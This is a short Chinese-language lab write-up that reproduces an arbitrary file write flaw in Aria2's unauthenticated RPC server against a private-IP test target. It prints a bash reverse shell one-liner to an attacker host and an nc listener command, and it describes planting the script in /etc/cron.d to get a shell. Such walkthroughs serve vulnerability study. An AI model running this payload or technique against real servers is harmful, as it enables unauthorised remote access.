目录:
- 简介
- 漏洞描述
- payload
- 漏洞复现
一、Aria2介绍
Aria2是一个命令行下运行,多协议,多来源下载工具(HTTP / HTTPS,FTP,BitTorrent,Metalink),内建XML-RPC用户界面。Aria提供RPC服务器,通过--enable-rpc
参数启动.Aria2的RPC服务器可以方便的添加,删除下载项目。
二、漏洞描述
通过控制文件下载链接,文件储存路径以及文件名,可以实现任意文件写入。同时通过Aria2提供的其他功能,诸如save-session
等也能轻易地实现任意文件写入指定功能。
三、payload
shell脚本:
#! /bin/bash /bin/bash -i >& /dev/tcp/192.168.183.129/12345 0>&1
站点;http://binux.github.io/yaaw/demo/#
四、复现
靶机ip:192.168.183.134:6800
攻击机:192.168.183.129
直接访问aria2如下:
1.rpc通信需要json或xml,直接从网页操作不方便,我们使用第三方UI与目标进行通信,打开 http://binux.github.io/yaaw/demo/# 点击configuration,设置 json-rpc路径(原理具体解释参照:https://paper.seebug.org/120/,有时间继续补充)
2.设置下载任务,填写shell的url,及受害主机shell文件的存储路径
3.确定添加后,可以到容器下查看,文件确实已下载到定时目录下,在被反弹shell的攻击机下监听端口 nc -lvvp port
这里我遇到一些问题,cron.d下的shell文件没有执行,那么我们检查一下,是否是脚本有问题导致的,还是定时任务的一些问题,如两台主机时间不同步等。。
分析过程:
1.shell脚本是否能执行;直接运行shell命令,或者为其添加可执行权限后再执行,检查kali监听状态,发现可以监听到,脚本OK
2.检查定时任务。。。这个确实是环境不允许,靶场docker镜像不完整,crontab -l 检查,没有定时任务在执行;检查定时任务服务开启,没有问题,检查日志,该环境没有日志,且进行下一步检查时,缺少crontab的其他环境,无法继续,可以推断这个问题,就是因为环境的不完整导致的。
3.但是,在靶机环境中/etc/cron.d中,确实下载了shell文件,可以证明aria2这个漏洞确实是存在的。在更完整的生产环境中,应该是可以正常拿shell的。
综上,这个任意文件写入漏洞是由于服务端没有对写入做一个身份验证。